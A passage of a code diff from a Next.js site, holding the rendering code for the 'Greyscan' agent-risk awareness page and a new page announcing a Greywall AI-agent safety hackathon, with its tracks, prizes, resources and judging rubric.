addLine(e.message || 'Something went wrong', 'error')
|
||||
setError(e.message)
|
||||
}
|
||||
}
|
||||
|
||||
function reset() {
|
||||
setPhase('input')
|
||||
setUrl('')
|
||||
setLines([])
|
||||
setReport(null)
|
||||
setError('')
|
||||
setRepoName('')
|
||||
setDetectedStack([])
|
||||
setAnimatedScore(0)
|
||||
window.history.replaceState(null, '', window.location.pathname)
|
||||
}
|
||||
|
||||
async function copyLink() {
|
||||
await navigator.clipboard.writeText(window.location.href)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
}
|
||||
|
||||
const color = report ? riskColor(report.riskLevel) : '#D95E2A'
|
||||
const circumference = 2 * Math.PI * 45
|
||||
|
||||
return (
|
||||
<main className="min-h-screen">
|
||||
{/* Nav */}
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2 text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
<span className="hidden sm:inline">Back to Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-5 w-5" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greyscan</span>
|
||||
</div>
|
||||
<div className="w-20" />
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div className="pt-14">
|
||||
{/* ── INPUT PHASE ── */}
|
||||
{phase === 'input' && (
|
||||
<section className="relative min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6">
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.06)_0%,transparent_50%)]" />
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
backgroundImage: 'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||
backgroundSize: '64px 64px',
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="relative max-w-2xl w-full text-center animate-fade-up">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight leading-[1.1] mb-4">
|
||||
What would an AI agent{' '}
|
||||
<em className="italic text-primary">try on your machine?</em>
|
||||
</h1>
|
||||
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed mb-10 max-w-xl mx-auto">
|
||||
AI agents run as you, with access to everything you have. Paste a repo and see what an unrestricted agent could attempt. This is an awareness tool, not a security assessment.
|
||||
</p>
|
||||
|
||||
<form
|
||||
onSubmit={e => { e.preventDefault(); scan() }}
|
||||
className="flex gap-2 max-w-lg mx-auto"
|
||||
>
|
||||
<input
|
||||
type="text"
|
||||
value={url}
|
||||
onChange={e => setUrl(e.target.value)}
|
||||
placeholder="github.com/owner/repo"
|
||||
className="flex-1 bg-card/50 border border-border/50 rounded-lg px-4 py-3 text-sm font-mono placeholder:text-muted-foreground/50 focus:outline-none focus:border-primary/50 focus:ring-1 focus:ring-primary/20 transition-all"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={!url.trim()}
|
||||
className="bg-primary text-primary-foreground px-5 py-3 rounded-lg text-sm font-sans font-medium hover:bg-primary/90 disabled:opacity-40 disabled:cursor-not-allowed transition-all flex items-center gap-2 cursor-pointer"
|
||||
>
|
||||
Scan
|
||||
<ArrowRight className="h-4 w-4" />
|
||||
</button>
|
||||
</form>
|
||||
|
||||
<p className="text-xs text-muted-foreground/50 mt-4 font-sans">
|
||||
Public repos only · No code is stored · Powered by <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* ── SCANNING PHASE ── */}
|
||||
{phase === 'scanning' && (
|
||||
<section className="min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6 py-12">
|
||||
<div className="max-w-2xl w-full animate-fade-up">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Shield className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Scanning {repoName}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div
|
||||
ref={termRef}
|
||||
className="code-block p-5 sm:p-6 max-h-[60vh] overflow-y-auto scrollbar-hide"
|
||||
>
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">
|
||||
greyscan
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="space-y-1.5 font-mono text-xs sm:text-sm">
|
||||
{lines.map(line => (
|
||||
<div key={line.id} className="animate-fade-up" style={{ animationDuration: '0.3s' }}>
|
||||
{line.type === 'info' && (
|
||||
<span className="text-muted-foreground">
|
||||
<span className="opacity-50">$ </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
{line.type === 'success' && (
|
||||
<span className="text-green-400">
|
||||
<span className="opacity-50">{'\u2713'} </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
{line.type === 'warning' && (
|
||||
<span className="text-primary">
|
||||
<span className="opacity-60">{'\u26A0'} </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
{line.type === 'error' && (
|
||||
<span className="text-red-400">
|
||||
<span className="opacity-60">{'\u2717'} </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
{!error && (
|
||||
<div className="inline-block w-1.5 h-4 bg-primary/70 animate-pulse mt-1" />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="mt-4 text-center">
|
||||
<button
|
||||
onClick={reset}
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors font-sans cursor-pointer"
|
||||
>
|
||||
← Try another repo
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* ── REPORT PHASE ── */}
|
||||
{phase === 'report' && report && (
|
||||
<section className="px-4 sm:px-6 py-12 sm:py-16">
|
||||
<div className="max-w-2xl mx-auto">
|
||||
{/* Report Card */}
|
||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up glow-orange">
|
||||
{/* Header */}
|
||||
<div className="p-6 sm:p-8 border-b border-border/20">
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
<div>
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<Shield className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
What an agent would try on your machine
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-mono text-lg sm:text-xl text-foreground mb-1">
|
||||
{repoName}
|
||||
</h2>
|
||||
<p className="text-xs text-muted-foreground font-sans">
|
||||
{detectedStack.join(' \u00b7 ')}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Risk Score Circle */}
|
||||
<div className="relative w-24 h-24 sm:w-28 sm:h-28 flex-shrink-0">
|
||||
<svg className="w-full h-full -rotate-90" viewBox="0 0 100 100">
|
||||
<circle
|
||||
cx="50" cy="50" r="45" fill="none"
|
||||
stroke="rgb(var(--border))" strokeWidth="5" opacity="0.3"
|
||||
/>
|
||||
<circle
|
||||
cx="50" cy="50" r="45" fill="none"
|
||||
stroke={color} strokeWidth="5"
|
||||
strokeDasharray={circumference}
|
||||
strokeDashoffset={circumference - (animatedScore / 100) * circumference}
|
||||
strokeLinecap="round"
|
||||
className="transition-[stroke-dashoffset] duration-100"
|
||||
/>
|
||||
</svg>
|
||||
<div className="absolute inset-0 flex flex-col items-center justify-center">
|
||||
<span className="text-2xl sm:text-3xl font-bold font-sans" style={{ color }}>
|
||||
{animatedScore}
|
||||
</span>
|
||||
<span className="text-[10px] text-muted-foreground uppercase tracking-wider">
|
||||
/100
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Risk Level Badge */}
|
||||
<div
|
||||
className="mt-4 inline-flex items-center gap-1.5 px-2.5 py-1 rounded-md text-xs font-sans font-medium"
|
||||
style={{
|
||||
background: `${color}15`,
|
||||
border: `1px solid ${color}30`,
|
||||
color,
|
||||
}}
|
||||
>
|
||||
<AlertTriangle className="h-3 w-3" />
|
||||
{report.riskLevel} RISK
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Summary */}
|
||||
<div className="px-6 sm:px-8 py-4 border-b border-border/20 bg-card/10">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{report.summary}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Findings */}
|
||||
<div className="divide-y divide-border/10">
|
||||
{report.findings.map((finding, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="px-6 sm:px-8 py-4 animate-fade-up"
|
||||
style={{ animationDelay: `${i * 100}ms` }}
|
||||
>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className={`mt-0.5 p-1.5 rounded ${severityBg(finding.severity)} ${severityColor(finding.severity)}`}>
|
||||
{typeIcon(finding.type)}
|
||||
</div>
|
||||
<div className="flex-1 min-w-0">
|
||||
<div className="flex items-center gap-2 mb-1">
|
||||
<span className={`text-[10px] font-sans font-medium uppercase tracking-wider ${severityColor(finding.severity)}`}>
|
||||
{finding.severity}
|
||||
</span>
|
||||
</div>
|
||||
<h3 className="text-sm font-sans font-medium text-foreground mb-1">
|
||||
{finding.title}
|
||||
</h3>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mb-2">
|
||||
{finding.description}
|
||||
</p>
|
||||
<code className="text-[11px] font-mono text-muted-foreground/70 bg-background/50 px-2 py-1 rounded break-all inline-block">
|
||||
{finding.command}
|
||||
</code>
|
||||
{finding.note && (
|
||||
<p className="text-[11px] text-muted-foreground/50 font-sans mt-2 italic">
|
||||
{finding.note}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* CTA */}
|
||||
<div className="px-6 sm:px-8 py-6 sm:py-8 border-t border-border/20 bg-card/20 text-center">
|
||||
<p className="text-xs text-muted-foreground/50 font-sans mb-4">
|
||||
This is a demonstration, not a security audit.
|
||||
</p>
|
||||
<p className="font-serif text-lg sm:text-xl font-semibold tracking-tight mb-5">
|
||||
Greywall blocks this by default.
|
||||
</p>
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center gap-2 bg-primary text-primary-foreground px-5 py-2.5 rounded-lg text-sm font-sans font-medium hover:bg-primary/90 transition-all"
|
||||
>
|
||||
Install Greywall
|
||||
<ArrowRight className="h-4 w-4" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Actions */}
|
||||
<div className="flex items-center justify-center gap-3 mt-6">
|
||||
<button
|
||||
onClick={copyLink}
|
||||
className="flex items-center gap-2 px-4 py-2 rounded-lg border border-border/30 text-sm text-muted-foreground hover:text-foreground hover:border-border/50 transition-all font-sans cursor-pointer"
|
||||
>
|
||||
{copied ? <Check className="h-4 w-4 text-green-400" /> : <Copy className="h-4 w-4" />}
|
||||
{copied ? 'Copied!' : 'Share Report'}
|
||||
</button>
|
||||
<button
|
||||
onClick={reset}
|
||||
className="flex items-center gap-2 px-4 py-2 rounded-lg border border-border/30 text-sm text-muted-foreground hover:text-foreground hover:border-border/50 transition-all font-sans cursor-pointer"
|
||||
>
|
||||
Scan Another Repo
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
</div>
|
||||
</main>
|
||||
)
|
||||
}
|
||||
747
app/hackathons/page.tsx
Normal file
@@ -0,0 +1,747 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef, Suspense, useCallback } from 'react'
|
||||
import dynamic from 'next/dynamic'
|
||||
import {
|
||||
ChevronDown,
|
||||
ArrowRight,
|
||||
Users,
|
||||
Star,
|
||||
MapPin,
|
||||
Eye,
|
||||
Target,
|
||||
AlertTriangle,
|
||||
ShieldAlert,
|
||||
MessageSquare,
|
||||
Crown,
|
||||
FlaskConical,
|
||||
} from 'lucide-react'
|
||||
import { Footer } from '@/components/footer'
|
||||
import { LiveTerminal } from '@/components/hackathons/live-terminal'
|
||||
import { StreamViz, SecureViz, RadarViz, ScanViz, ExtendViz, BenchViz } from '@/components/hackathons/track-visuals'
|
||||
|
||||
const ShieldScene = dynamic(
|
||||
() => import('@/components/hackathons/shield-scene').then((m) => m.ShieldScene),
|
||||
{ ssr: false }
|
||||
)
|
||||
|
||||
/* ─── Hooks ─── */
|
||||
|
||||
function useInView(threshold = 0.15) {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const [visible, setVisible] = useState(false)
|
||||
useEffect(() => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const obs = new IntersectionObserver(([e]) => { if (e.isIntersecting) { setVisible(true); obs.unobserve(el) } }, { threshold, rootMargin: '0px 0px -40px 0px' })
|
||||
obs.observe(el)
|
||||
return () => obs.disconnect()
|
||||
}, [threshold])
|
||||
return { ref, visible }
|
||||
}
|
||||
|
||||
|
||||
function useMouseSpotlight() {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const onMove = useCallback((e: React.MouseEvent) => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const rect = el.getBoundingClientRect()
|
||||
el.style.setProperty('--mouse-x', `${e.clientX - rect.left}px`)
|
||||
el.style.setProperty('--mouse-y', `${e.clientY - rect.top}px`)
|
||||
}, [])
|
||||
return { ref, onMove }
|
||||
}
|
||||
|
||||
/* ─── Noise overlay ─── */
|
||||
|
||||
function NoiseOverlay() {
|
||||
return (
|
||||
<svg className="fixed inset-0 w-full h-full pointer-events-none z-[100] opacity-[0.025]" aria-hidden>
|
||||
<filter id="grain">
|
||||
<feTurbulence type="fractalNoise" baseFrequency="0.8" numOctaves="4" stitchTiles="stitch" />
|
||||
</filter>
|
||||
<rect width="100%" height="100%" filter="url(#grain)" />
|
||||
</svg>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Nav ─── */
|
||||
|
||||
function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" /><circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" /><circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<a href="#tracks" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">Tracks</a>
|
||||
<a href="#faq" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">FAQ</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24"><path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" /></svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Hero ─── */
|
||||
|
||||
function Hero() {
|
||||
return (
|
||||
<section className="relative pt-28 sm:pt-40 pb-28 sm:pb-40 px-4 sm:px-6 overflow-hidden">
|
||||
{/* 3D Shield background */}
|
||||
<div className="absolute inset-0 z-0 opacity-60">
|
||||
<Suspense fallback={null}>
|
||||
<ShieldScene />
|
||||
</Suspense>
|
||||
</div>
|
||||
|
||||
{/* Aurora gradient */}
|
||||
<div className="absolute inset-0 z-[1] aurora-bg" />
|
||||
|
||||
{/* Dark overlay for readability */}
|
||||
<div className="absolute inset-0 z-[1] bg-[radial-gradient(ellipse_at_center,rgba(22,22,20,0.3)_0%,rgba(22,22,20,0.75)_70%)]" />
|
||||
<div className="absolute inset-0 z-[1] bg-gradient-to-b from-background/50 via-transparent to-background" />
|
||||
|
||||
<div className="relative z-[2] mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-6xl sm:text-7xl md:text-8xl font-semibold tracking-tight leading-[1] mb-4 text-shimmer">
|
||||
Hack the Wall.
|
||||
</h1>
|
||||
<p className="text-xl sm:text-2xl text-muted-foreground font-serif mb-10 max-w-2xl mx-auto">
|
||||
AI Safety & Data Sovereignty Hackathon 2026
|
||||
</p>
|
||||
<a
|
||||
href="#tracks"
|
||||
className="group inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base hover:shadow-[0_0_30px_rgba(217,94,42,0.3)]"
|
||||
>
|
||||
Explore tracks
|
||||
<ArrowRight className="h-4 w-4 group-hover:translate-x-0.5 transition-transform" />
|
||||
</a>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Notify Button ─── */
|
||||
|
||||
function NotifyButton({ className = '' }: { className?: string }) {
|
||||
const [mode, setMode] = useState<'button' | 'form' | 'success'>('button')
|
||||
const [email, setEmail] = useState('')
|
||||
const [submitting, setSubmitting] = useState(false)
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault()
|
||||
if (!email) return
|
||||
setSubmitting(true)
|
||||
try {
|
||||
const formData = new FormData()
|
||||
formData.append('access_key', '9239e4ed-eb6f-4fa2-afdd-f40b9dec25bf')
|
||||
formData.append('email', email)
|
||||
formData.append('subject', 'Hackathon Registration Interest')
|
||||
const response = await fetch('https://api.web3forms.com/submit', {
|
||||
method: 'POST',
|
||||
body: formData,
|
||||
})
|
||||
const data = await response.json()
|
||||
if (data.success) {
|
||||
setMode('success')
|
||||
}
|
||||
} catch {
|
||||
window.location.href = `mailto:hello@greyhaven.co?subject=Hackathon%20Notify&body=Please%20notify%20me%20at%20${encodeURIComponent(email)}`
|
||||
setMode('success')
|
||||
}
|
||||
setSubmitting(false)
|
||||
}
|
||||
|
||||
if (mode === 'success') {
|
||||
return (
|
||||
<div className={`inline-flex items-center gap-2 px-8 py-4 bg-primary/10 border border-primary/20 text-primary font-sans font-medium rounded-lg text-base ${className}`}>
|
||||
You are on the list.
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
if (mode === 'form') {
|
||||
return (
|
||||
<form onSubmit={handleSubmit} className={`inline-flex items-center gap-2 ${className}`}>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
placeholder="you@example.com"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
autoFocus
|
||||
className="px-4 py-3 bg-card/60 border border-border/40 rounded-lg text-sm font-sans text-foreground placeholder:text-muted-foreground/50 focus:outline-none focus:border-primary/50 w-64"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={submitting}
|
||||
className="px-6 py-3 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all text-sm cursor-pointer disabled:opacity-50"
|
||||
>
|
||||
{submitting ? 'Sending...' : 'Notify me'}
|
||||
</button>
|
||||
</form>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<button
|
||||
onClick={() => setMode('form')}
|
||||
className={`group inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base hover:shadow-[0_0_30px_rgba(217,94,42,0.3)] cursor-pointer ${className}`}
|
||||
>
|
||||
Get notified when registration opens
|
||||
<ArrowRight className="h-4 w-4 group-hover:translate-x-0.5 transition-transform" />
|
||||
</button>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Info Section (Tabbed) ─── */
|
||||
|
||||
const infoTabs = ['Overview', 'Resources', 'Guidelines', 'Schedule'] as const
|
||||
|
||||
function OverviewTab() {
|
||||
return (
|
||||
<div className="space-y-12">
|
||||
{/* Intro */}
|
||||
<div>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-6">
|
||||
The Greywall Hackathon brings together engineers, security professionals, and AI enthusiasts to tackle one of the most urgent open problems: how do we keep AI agents safe when they operate autonomously on real systems?
|
||||
</p>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Over 48 hours, participants will build guardrails, filters, classifiers, and detection systems that sit on top of{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>,
|
||||
an open-source sandboxing system for AI agents built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greyhaven</a>.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* What is Sovereign AI? */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">What is Sovereign AI?</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Sovereign AI is the principle that organizations should maintain full control over their AI systems: what they can access, what data they process, and what actions they take. No data leaks, no unauthorized actions, no black boxes. Your AI agents should work for you, within boundaries you define. That is what Greywall enforces, and that is what this hackathon is about extending.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Why this hackathon? */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">Why this hackathon?</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
AI agents are getting more powerful and more autonomous every month. But the security tooling has not kept up. There is a real gap between what agents can do and the guardrails available to keep them in check. This hackathon exists to close that gap, and to give talented people a chance to build the tools that the entire industry needs.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Prizes */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Top teams get</h3>
|
||||
<div className="grid sm:grid-cols-3 gap-4">
|
||||
{[
|
||||
{ icon: Crown, title: 'Hall of Fame', sub: 'Featured on greywall.io permanently' },
|
||||
{ icon: Star, title: 'Contributor credit', sub: 'Added as a contributor in the GitHub README' },
|
||||
{ icon: Users, title: 'CEO Dinner Invitation', sub: 'Attend an exclusive Greyhaven CEO dinner for free' },
|
||||
].map((item) => (
|
||||
<div key={item.title} className="text-center p-6 rounded-2xl border border-border/30 bg-card/20 backdrop-blur-sm">
|
||||
<div className="inline-flex items-center justify-center w-12 h-12 rounded-xl bg-primary/10 border border-primary/15 mb-4">
|
||||
<item.icon className="h-5 w-5 text-primary" />
|
||||
</div>
|
||||
<h4 className="font-serif text-base font-semibold mb-1">{item.title}</h4>
|
||||
<p className="text-xs text-muted-foreground font-sans">{item.sub}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ResourcesTab() {
|
||||
const articles = [
|
||||
{
|
||||
title: 'The Greyhaven Sovereign AI Framework',
|
||||
url: 'https://greyhaven.co/insights/greyhaven-sovereign-ai-framework',
|
||||
description: 'Our framework for how organizations can maintain sovereignty over their AI systems.',
|
||||
},
|
||||
{
|
||||
title: 'Why We Built Our Own Sandboxing System',
|
||||
url: 'https://greyhaven.co/insights/why-we-built-our-own-sandboxing-system',
|
||||
description: 'The story behind Greywall and why existing solutions were not enough.',
|
||||
},
|
||||
{
|
||||
title: 'Greywall on GitHub',
|
||||
url: 'https://github.com/GreyhavenHQ/greywall',
|
||||
description: 'The open-source codebase you will be building on. Start here.',
|
||||
},
|
||||
{
|
||||
title: 'Greywall Documentation',
|
||||
url: 'https://docs.greywall.io/',
|
||||
description: 'Setup guides, API reference, and architecture docs.',
|
||||
},
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{articles.map((article) => (
|
||||
<a
|
||||
key={article.title}
|
||||
href={article.url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="group flex items-start gap-4 p-5 rounded-xl border border-border/30 bg-card/20 hover:bg-card/40 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<div className="flex-1">
|
||||
<h4 className="font-serif text-lg font-semibold mb-1 group-hover:text-primary transition-colors">{article.title}</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans">{article.description}</p>
|
||||
</div>
|
||||
<ArrowRight className="h-4 w-4 text-muted-foreground group-hover:text-primary group-hover:translate-x-0.5 transition-all mt-1.5 shrink-0" />
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function GuidelinesTab() {
|
||||
const dimensions = [
|
||||
{
|
||||
title: 'Impact Potential & Innovation',
|
||||
question: 'How much would this matter for AI safety if it worked? How innovative is it?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Negligible. No clear problem addressed, or no meaningful novelty.' },
|
||||
{ score: 2, desc: 'Limited. Addresses a real problem but with a generic or well-trodden approach.' },
|
||||
{ score: 3, desc: 'Moderate. Clear problem with a reasonable approach; some novelty in framing or method.' },
|
||||
{ score: 4, desc: 'Significant. Important problem with an original approach. A valuable contribution others could build on.' },
|
||||
{ score: 5, desc: 'Exceptional. Tackles a critical AI safety problem with a genuinely novel approach. Opens a new direction.' },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Execution Quality',
|
||||
question: 'How sound are methodology, implementation, and findings?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Seriously flawed. Methodology broken, results uninterpretable, or implementation does not work.' },
|
||||
{ score: 2, desc: 'Weak. Significant gaps: missing validation, flawed experimental design, or incomplete implementation.' },
|
||||
{ score: 3, desc: 'Competent. Technically solid given the short duration. Results are interpretable, limitations acknowledged.' },
|
||||
{ score: 4, desc: 'Strong. Thorough methodology with convincing validation. Immediately useful for future work.' },
|
||||
{ score: 5, desc: 'Exceptional. Ambitious scope executed rigorously. Surprising findings or unusually robust validation.' },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Presentation & Clarity',
|
||||
question: 'How clearly are work, findings, and impact potential communicated?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Incomprehensible. Cannot determine what the project is actually claiming or doing.' },
|
||||
{ score: 2, desc: 'Hard to follow. Key information buried or missing. Significant effort to extract main points.' },
|
||||
{ score: 3, desc: 'Clear enough. Can understand the problem, approach, and results without undue effort.' },
|
||||
{ score: 4, desc: 'Well presented. Easy to follow, well-structured. Target audience would get it quickly.' },
|
||||
{ score: 5, desc: 'Exceptionally clear. A pleasure to read. Complex ideas made accessible.' },
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="space-y-12">
|
||||
{/* Judging Criteria */}
|
||||
<div>
|
||||
